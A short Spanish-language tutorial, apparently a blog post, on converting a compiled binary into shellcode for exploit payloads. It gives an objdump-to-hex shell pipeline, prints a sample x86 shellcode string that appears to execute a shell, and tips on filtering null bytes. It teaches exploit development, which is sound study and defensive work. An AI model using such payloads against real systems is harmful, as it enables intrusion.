\   /\          __    _____        _____     _____ _ _____
)  ( ')        |  |  |  _  |   ___|  _  |___|  |  |_|_   _|___
(  /  )        |  |__|     |  |  _|     |_ -|     | | | | | .'| 
 \(__)|        |_____|__|__|  |___|__|__|___|__|__|_| |_| |__,|

 
 Cuando estamos desarrollando exploits, necesitamos el payload, que la
mayoria de veces es una shellcode.  Muchas veces tenemos un programa ya
realizado en cualquier lenguaje y compilado y que nos gustaria meter en
el payload si el espacio lo permite y demas, la forma mas sencilla de
convertir el binario a shellcode es la siguiente:

 
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
Developer: http://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump La linea anterior nos permite convertir a "shellcode" un binario. Una vez la introduzcamos sustituyendo PROGRAM por nuestro binario, el resultado sera algo de este estilo:
"\x31\xc0\x50\xbe\x3b\xfc\x3f\x35\xbf\xfc\xfb\x2e\x36\xb1\x03\x81\xc6\x11\x11\x11\x11\x81\xc7\x11\x11\x11\x11\xe2\xf2\x56\x57\x89\xe3\x50\x89\xe2\xb0\x0b\xcd\x80"
Una tengamos la shellcode, ya podremos utilizarla en nuestros exploits. Recordad que deberemos revisar si hay algun opcode que pueda no gustarle como puede ser \x00, para ello podeis usar herramientas como grep para hacer el filtro y comprobar que todo esta segun lo quereis.